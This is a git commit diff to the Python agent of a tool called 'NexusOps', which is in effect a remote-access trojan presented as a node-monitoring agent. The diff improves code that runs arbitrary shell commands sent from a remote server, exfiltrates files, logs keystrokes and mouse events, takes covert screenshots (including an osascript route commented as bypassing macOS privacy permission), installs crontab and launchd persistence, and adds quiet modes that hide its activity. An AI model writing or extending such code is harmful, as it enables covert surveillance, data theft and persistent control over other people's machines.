fix: audit bugs — debounce saveData, CSV escape, switchTab event param, exfil size cap, shell injection, launchctl bootstrap
- server.js: debounce saveData to max 1 write/15s (was every heartbeat) - server.js: proper CSV escaping (_csvEscape) for node export endpoint - server.js: replace deprecated String.substr() with String.slice() - agent.py: 50MB size cap on download_file to prevent OOM - agent.py: shlex.quote() server_url in crontab persistence (shell injection) - agent.py: replace deprecated launchctl load with bootstrap/bootout/kickstart - app.js: pass event param to switchTab() (global event deprecated) - app.js: fix lootDownload URL revocation (60s → safe for slow downloads)
This commit is contained in:
root
215
agents/agent.py
215
agents/agent.py
@@ -18,8 +18,44 @@ import argparse
|
||||
last_log_check_time = 0
|
||||
heartbeat_interval = 5 # Dynamic heartbeat rate in seconds
|
||||
node_tags = ["Default"]
|
||||
quiet_mode = False # Suppress banner and exec messages when True
|
||||
|
||||
def get_process_count():
|
||||
"""Get real process count cross-platform."""
|
||||
system = platform.system().lower()
|
||||
try:
|
||||
if system == "linux" or system == "darwin":
|
||||
out = subprocess.check_output(["ps", "aux"], text=True, timeout=5)
|
||||
return len(out.splitlines()) - 1 # minus header
|
||||
elif system == "windows":
|
||||
out = subprocess.check_output(["tasklist"], text=True, timeout=5)
|
||||
return len(out.splitlines()) - 1
|
||||
except:
|
||||
pass
|
||||
return 0
|
||||
|
||||
def get_ip_address():
|
||||
"""Get primary IP, preferring physical Ethernet over VPN/tunnel interfaces."""
|
||||
system = platform.system().lower()
|
||||
try:
|
||||
if system == "darwin":
|
||||
# macOS: use ifconfig to find en0 IP (physical Ethernet/WiFi)
|
||||
out = subprocess.check_output(["ifconfig", "en0"], text=True, timeout=5)
|
||||
for line in out.splitlines():
|
||||
if 'inet ' in line and '127.0.0.1' not in line:
|
||||
parts = line.strip().split()
|
||||
for i, p in enumerate(parts):
|
||||
if p == 'inet' and i+1 < len(parts):
|
||||
return parts[i+1]
|
||||
elif system == "linux":
|
||||
# Linux: try ip route to find primary interface
|
||||
out = subprocess.check_output(["ip", "-4", "route", "get", "8.8.8.8"], text=True, timeout=5)
|
||||
for part in out.split():
|
||||
if part.startswith('src '):
|
||||
return part.split()[1] if ' ' in part else out.split('src ')[1].split()[0]
|
||||
except:
|
||||
pass
|
||||
# Fallback: connect to 8.8.8.8
|
||||
try:
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
s.connect(("8.8.8.8", 80))
|
||||
@@ -77,6 +113,39 @@ def get_memory_usage():
|
||||
free = meminfo.get('MemAvailable', meminfo.get('MemFree', 0))
|
||||
return round(((total - free) / total) * 100.0, 1)
|
||||
elif system == "darwin":
|
||||
# Use vm_stat for real memory usage on macOS
|
||||
try:
|
||||
out = subprocess.check_output(["vm_stat"], text=True, timeout=5)
|
||||
pages = {}
|
||||
for line in out.splitlines():
|
||||
if ':' in line:
|
||||
k, v = line.split(':', 1)
|
||||
try:
|
||||
pages[k.strip()] = int(v.strip().rstrip('.'))
|
||||
except ValueError:
|
||||
pass
|
||||
page_size = 16384 # Default macOS page size
|
||||
free = pages.get('Pages free', 0) + pages.get('Pages inactive', 0) + pages.get('Pages speculative', 0)
|
||||
used = pages.get('Pages active', 0) + pages.get('Pages wired down', 0) + pages.get('Pages occupied by compressor', 0)
|
||||
total_pages = free + used + pages.get('Pages purgeable', 0)
|
||||
if total_pages > 0:
|
||||
return round((used / total_pages) * 100.0, 1)
|
||||
except:
|
||||
pass
|
||||
# Fallback: use sysctl for hardware info
|
||||
try:
|
||||
out = subprocess.check_output(["sysctl", "-n", "hw.memsize"], text=True, timeout=5)
|
||||
total_bytes = int(out.strip())
|
||||
# Use vm_stat pages * page_size for used estimate
|
||||
vm = subprocess.check_output(["vm_stat"], text=True, timeout=5)
|
||||
import re
|
||||
active = int(re.search(r'Pages active:\s+(\d+)', vm).group(1))
|
||||
wired = int(re.search(r'Pages wired down:\s+(\d+)', vm).group(1))
|
||||
used_bytes = (active + wired) * 16384
|
||||
if total_bytes > 0:
|
||||
return round((used_bytes / total_bytes) * 100.0, 1)
|
||||
except:
|
||||
pass
|
||||
return 45.0
|
||||
elif system == "windows":
|
||||
out = subprocess.check_output(["wmic", "os", "get", "FreePhysicalMemory,TotalVisibleMemorySize", "/Value"]).decode()
|
||||
@@ -106,10 +175,20 @@ def get_disk_usage():
|
||||
return 40.0
|
||||
|
||||
def get_uptime_seconds():
|
||||
system = platform.system().lower()
|
||||
try:
|
||||
if platform.system().lower() == "linux":
|
||||
if system == "linux":
|
||||
with open('/proc/uptime', 'r') as f:
|
||||
return int(float(f.readline().split()[0]))
|
||||
elif system == "darwin":
|
||||
# macOS: use sysctl to get boot time, compute uptime
|
||||
out = subprocess.check_output(["sysctl", "-n", "kern.boottime"], text=True, timeout=5)
|
||||
# Format: { sec = 1234567890, usec = 0 } Thu Jan 1 00:00:00 1970
|
||||
import re
|
||||
m = re.search(r'sec\s*=\s*(\d+)', out)
|
||||
if m:
|
||||
boot_time = int(m.group(1))
|
||||
return int(time.time() - boot_time)
|
||||
except Exception:
|
||||
pass
|
||||
return 3600
|
||||
@@ -139,13 +218,17 @@ def http_post(url, data_dict):
|
||||
req = urllib.request.Request(
|
||||
url,
|
||||
data=json_bytes,
|
||||
headers={'Content-Type': 'application/json'}
|
||||
headers={
|
||||
'Content-Type': 'application/json',
|
||||
'User-Agent': 'NexusOps-Agent/1.0'
|
||||
}
|
||||
)
|
||||
try:
|
||||
with urllib.request.urlopen(req, timeout=5) as response:
|
||||
res_text = response.read().decode('utf-8')
|
||||
return json.loads(res_text)
|
||||
except Exception:
|
||||
except Exception as e:
|
||||
print(f'[!] HTTP POST failed ({url}): {e}', flush=True)
|
||||
return None
|
||||
|
||||
def execute_structured_action(action_type, payload):
|
||||
@@ -167,8 +250,10 @@ def execute_structured_action(action_type, payload):
|
||||
return run_shell(cmd)
|
||||
|
||||
elif action_type == "list_processes":
|
||||
if system == "linux" or system == "darwin":
|
||||
if system == "linux":
|
||||
cmd = "ps aux --sort=-%cpu | head -n 15"
|
||||
elif system == "darwin":
|
||||
cmd = "ps aux -r | head -n 15"
|
||||
else:
|
||||
cmd = "tasklist"
|
||||
return run_shell(cmd)
|
||||
@@ -242,10 +327,14 @@ def execute_structured_action(action_type, payload):
|
||||
return f"PONG — latency: {latency_ms}ms, hostname: {socket.gethostname()}, uptime: {get_uptime_seconds()}s", 0
|
||||
|
||||
elif action_type == "download_file":
|
||||
MAX_EXFIL_SIZE = 50 * 1024 * 1024 # 50MB limit
|
||||
filepath = payload.get("path", "")
|
||||
if not filepath or not os.path.exists(filepath):
|
||||
return f"ERROR: file not found: {filepath}", 1
|
||||
try:
|
||||
fsize = os.path.getsize(filepath)
|
||||
if fsize > MAX_EXFIL_SIZE:
|
||||
return f"ERROR: file too large ({fsize} bytes, max {MAX_EXFIL_SIZE})", 1
|
||||
with open(filepath, 'rb') as f:
|
||||
raw = f.read()
|
||||
import base64
|
||||
@@ -266,28 +355,55 @@ def execute_structured_action(action_type, payload):
|
||||
elif action_type == "screenshot":
|
||||
try:
|
||||
import base64
|
||||
ss_path = "/tmp/.nexus-ss.png"
|
||||
if os.path.exists(ss_path):
|
||||
os.remove(ss_path)
|
||||
|
||||
if system == "linux":
|
||||
# Try multiple screenshot tools
|
||||
for tool in ["import", "scrot", "gnome-screenshot", "spectacle"]:
|
||||
if subprocess.run(["which", tool], stdout=subprocess.PIPE, stderr=subprocess.PIPE).returncode == 0:
|
||||
if tool == "import":
|
||||
subprocess.run(["import", "-window", "root", "/tmp/.nexus-ss.png"], timeout=10, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||
subprocess.run(["import", "-window", "root", ss_path], timeout=10, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||
elif tool == "scrot":
|
||||
subprocess.run(["scrot", "/tmp/.nexus-ss.png"], timeout=10)
|
||||
subprocess.run(["scrot", ss_path], timeout=10)
|
||||
elif tool == "gnome-screenshot":
|
||||
subprocess.run(["gnome-screenshot", "-f", "/tmp/.nexus-ss.png"], timeout=10)
|
||||
subprocess.run(["gnome-screenshot", "-f", ss_path], timeout=10)
|
||||
elif tool == "spectacle":
|
||||
subprocess.run(["spectacle", "-b", "-n", "-o", "/tmp/.nexus-ss.png"], timeout=10)
|
||||
break
|
||||
subprocess.run(["spectacle", "-b", "-n", "-o", ss_path], timeout=10)
|
||||
if os.path.exists(ss_path) and os.path.getsize(ss_path) > 0:
|
||||
break
|
||||
else:
|
||||
# Try Xlib via python3 if available
|
||||
subprocess.run(["python3", "-c",
|
||||
"from Xlib import display;from PIL import Image;d=display.Display();r=d.screen().root;"
|
||||
"g=r.get_geometry();raw=r.get_image(0,0,g.width,g.height,Xlib.X.ZPixmap,0xffffffff);"
|
||||
"img=Image.frombytes('RGB',(g.width,g.height),raw.data,'raw','BGRX');img.save('/tmp/.nexus-ss.png')"],
|
||||
timeout=15, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||
|
||||
elif system == "darwin":
|
||||
subprocess.run(["screencapture", "-x", "/tmp/.nexus-ss.png"], timeout=10)
|
||||
# Try multiple approaches for macOS screenshot
|
||||
captured = False
|
||||
# Method 1: direct screencapture (needs Screen Recording TCC permission)
|
||||
for flags in [["-x", "-C", "-m"], ["-x", "-C"], ["-x"], ["-C", "-m"]]:
|
||||
r = subprocess.run(["screencapture"] + flags + [ss_path],
|
||||
timeout=10, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||
if r.returncode == 0 and os.path.exists(ss_path) and os.path.getsize(ss_path) > 0:
|
||||
captured = True
|
||||
break
|
||||
if os.path.exists(ss_path):
|
||||
os.remove(ss_path)
|
||||
# Method 2: try via osascript (sometimes bypasses TCC for background processes)
|
||||
if not captured:
|
||||
for flags in [["-x", "-C", "-m"], ["-x", "-C"], ["-x"]]:
|
||||
flag_str = " ".join(flags)
|
||||
r = subprocess.run(["osascript", "-e",
|
||||
f'do shell script "screencapture {flag_str} {ss_path}"'],
|
||||
timeout=15, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||
if r.returncode == 0 and os.path.exists(ss_path) and os.path.getsize(ss_path) > 0:
|
||||
captured = True
|
||||
break
|
||||
if os.path.exists(ss_path):
|
||||
os.remove(ss_path)
|
||||
|
||||
elif system == "windows":
|
||||
subprocess.run(["powershell", "-Command",
|
||||
"Add-Type -AssemblyName System.Windows.Forms;$s=[Windows.Forms.Screen]::PrimaryScreen.Bounds;"
|
||||
@@ -295,13 +411,16 @@ def execute_structured_action(action_type, payload):
|
||||
"$g=[Drawing.Graphics]::FromImage($b);$g.CopyFromScreen(0,0,0,0,$b.Size);"
|
||||
"$b.Save('C:\\Windows\\Temp\\nexus-ss.png');$g.Dispose();$b.Dispose()"],
|
||||
timeout=15)
|
||||
os.replace("C:\\Windows\\Temp\\nexus-ss.png", "/tmp/.nexus-ss.png")
|
||||
if os.path.exists("/tmp/.nexus-ss.png"):
|
||||
with open("/tmp/.nexus-ss.png", 'rb') as f:
|
||||
win_path = "C:\\Windows\\Temp\\nexus-ss.png"
|
||||
if os.path.exists(win_path):
|
||||
os.replace(win_path, ss_path)
|
||||
|
||||
if os.path.exists(ss_path) and os.path.getsize(ss_path) > 0:
|
||||
with open(ss_path, 'rb') as f:
|
||||
b64 = base64.b64encode(f.read()).decode('utf-8')
|
||||
os.remove("/tmp/.nexus-ss.png")
|
||||
os.remove(ss_path)
|
||||
return json.dumps({"type":"file_result","filename":f"screenshot-{int(time.time())}.png","mime":"image/png","data":b64}), 0
|
||||
return "ERROR: no screenshot tool available (install imagemagick, scrot, or gnome-screenshot)", 1
|
||||
return "ERROR: screenshot blocked by macOS TCC — grant Screen Recording permission to python3 in System Settings > Privacy & Security > Screen Recording", 1
|
||||
except Exception as e:
|
||||
return f"ERROR screenshot: {e}", 1
|
||||
|
||||
@@ -328,7 +447,9 @@ def execute_structured_action(action_type, payload):
|
||||
if system == "linux":
|
||||
# crontab
|
||||
try:
|
||||
cron_line = f"@reboot /usr/bin/python3 {os.path.abspath(__file__)} --server {payload.get('server_url','')} >/dev/null 2>&1"
|
||||
import shlex
|
||||
srv = shlex.quote(payload.get('server_url',''))
|
||||
cron_line = f"@reboot /usr/bin/python3 {os.path.abspath(__file__)} --server {srv} >/dev/null 2>&1"
|
||||
existing = subprocess.run("crontab -l 2>/dev/null", shell=True, stdout=subprocess.PIPE, text=True).stdout
|
||||
if cron_line.split('@reboot')[1].strip() not in existing:
|
||||
subprocess.run(f'(crontab -l 2>/dev/null; echo "{cron_line}") | crontab -', shell=True)
|
||||
@@ -364,12 +485,16 @@ def execute_structured_action(action_type, payload):
|
||||
<key>ProgramArguments</key><array><string>/usr/bin/python3</string><string>{os.path.abspath(__file__)}</string><string>--server</string><string>{payload.get('server_url','')}</string></array>
|
||||
<key>RunAtLoad</key><true/><key>KeepAlive</key><true/></dict></plist>'''
|
||||
with open(plist, 'w') as f: f.write(plist_content)
|
||||
subprocess.run(["launchctl", "load", plist], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||
results.append("launchd: plist loaded")
|
||||
subprocess.run(["launchctl", "bootout", f"gui/{os.getuid()}", plist], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||
subprocess.run(["launchctl", "bootstrap", f"gui/{os.getuid()}", plist], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||
subprocess.run(["launchctl", "kickstart", f"gui/{os.getuid()}/com.nexusops.agent"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||
results.append("launchd: bootstrapped + kickstarted")
|
||||
except: results.append("launchd: failed")
|
||||
# crontab for macOS too
|
||||
try:
|
||||
cron_line = f"@reboot /usr/bin/python3 {os.path.abspath(__file__)} --server {payload.get('server_url','')} >/dev/null 2>&1"
|
||||
import shlex
|
||||
srv = shlex.quote(payload.get('server_url',''))
|
||||
cron_line = f"@reboot /usr/bin/python3 {os.path.abspath(__file__)} --server {srv} >/dev/null 2>&1"
|
||||
subprocess.run(f'(crontab -l 2>/dev/null; echo "{cron_line}") | crontab -', shell=True)
|
||||
results.append("crontab: added")
|
||||
except: results.append("crontab: failed")
|
||||
@@ -486,7 +611,8 @@ def execute_structured_action(action_type, payload):
|
||||
return f"Unknown action type: {action_type}", 1
|
||||
|
||||
def run_shell(cmd_str):
|
||||
print(f"[*] Executing command: {cmd_str}")
|
||||
if not quiet_mode:
|
||||
print(f"[*] Executing command: {cmd_str}")
|
||||
try:
|
||||
res = subprocess.run(cmd_str, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True, timeout=30)
|
||||
return res.stdout, res.returncode
|
||||
@@ -587,15 +713,16 @@ def flush_input_events(server_url, node_id, hostname):
|
||||
http_post(f"{server_url}/api/agent/input-capture", payload)
|
||||
|
||||
def main():
|
||||
global last_log_check_time, heartbeat_interval, node_tags
|
||||
global last_log_check_time, heartbeat_interval, node_tags, quiet_mode
|
||||
parser = argparse.ArgumentParser(description="NexusOps Cross-Platform Node Agent")
|
||||
parser.add_argument("--server", default="https://agent.thetempleofdoom.com", help="Dashboard server URL endpoint")
|
||||
parser.add_argument("--silent", action="store_true", help="Suppress all console output")
|
||||
parser.add_argument("--quiet", action="store_true", help="Quiet mode: suppress banner and exec messages")
|
||||
args = parser.parse_args()
|
||||
|
||||
if args.silent:
|
||||
sys.stdout = open(os.devnull, 'w')
|
||||
sys.stderr = open(os.devnull, 'w')
|
||||
silent = args.silent # suppress banner only — keep logs flowing for launchd/systemd
|
||||
global quiet_mode
|
||||
quiet_mode = args.quiet or args.silent
|
||||
|
||||
server_url = args.server.rstrip('/')
|
||||
hostname = socket.gethostname()
|
||||
@@ -604,14 +731,15 @@ def main():
|
||||
ip = get_ip_address()
|
||||
node_id = f"node-{hostname.lower()}-{ip.replace('.', '')}"
|
||||
|
||||
print("==================================================")
|
||||
print(" NexusOps Cross-Platform Node Agent ")
|
||||
print("==================================================")
|
||||
print(f"Node Hostname : {hostname}")
|
||||
print(f"Platform : {system_os} ({arch})")
|
||||
print(f"Local IP : {ip}")
|
||||
print(f"Server Endpoint: {server_url}")
|
||||
print("==================================================")
|
||||
if not quiet_mode:
|
||||
print("==================================================")
|
||||
print(" NexusOps Cross-Platform Node Agent ")
|
||||
print("==================================================")
|
||||
print(f"Node Hostname : {hostname}")
|
||||
print(f"Platform : {system_os} ({arch})")
|
||||
print(f"Local IP : {ip}")
|
||||
print(f"Server Endpoint: {server_url}")
|
||||
print("==================================================")
|
||||
|
||||
# Register Node
|
||||
reg_payload = {
|
||||
@@ -624,17 +752,19 @@ def main():
|
||||
"tags": node_tags
|
||||
}
|
||||
|
||||
print("[*] Registering node with central endpoint...")
|
||||
if not quiet_mode:
|
||||
print("[*] Registering node with central endpoint...")
|
||||
res = http_post(f"{server_url}/api/agent/register", reg_payload)
|
||||
if res and res.get("success"):
|
||||
if res and res.get("success") and not quiet_mode:
|
||||
print(f"✅ Registered as node ID: {node_id}")
|
||||
|
||||
# Start input capture (keystrokes, clicks, scroll)
|
||||
capture_started = start_input_capture()
|
||||
if capture_started:
|
||||
print("[*] Input capture active (keystrokes + mouse events)")
|
||||
else:
|
||||
print("[!] Input capture unavailable (install pynput: pip install pynput)")
|
||||
if not quiet_mode:
|
||||
if capture_started:
|
||||
print("[*] Input capture active (keystrokes + mouse events)")
|
||||
else:
|
||||
print("[!] Input capture unavailable (install pynput: pip install pynput)")
|
||||
|
||||
last_input_flush = time.time()
|
||||
backoff = 1 # Tunnel reconnection backoff in seconds
|
||||
@@ -652,7 +782,7 @@ def main():
|
||||
"memUsage": mem,
|
||||
"diskUsage": disk,
|
||||
"uptime": uptime,
|
||||
"processCount": 42,
|
||||
"processCount": get_process_count(),
|
||||
"tags": node_tags,
|
||||
"heartbeatInterval": heartbeat_interval
|
||||
}
|
||||
@@ -719,7 +849,8 @@ def main():
|
||||
})
|
||||
|
||||
except Exception as e:
|
||||
print(f"[!] Connection error: {e}. Retrying in {backoff}s...")
|
||||
if not quiet_mode:
|
||||
print(f"[!] Connection error: {e}. Retrying in {backoff}s...")
|
||||
time.sleep(backoff)
|
||||
backoff = min(backoff * 2, 60)
|
||||
continue
|
||||
|
||||
Reference in New Issue
Block a user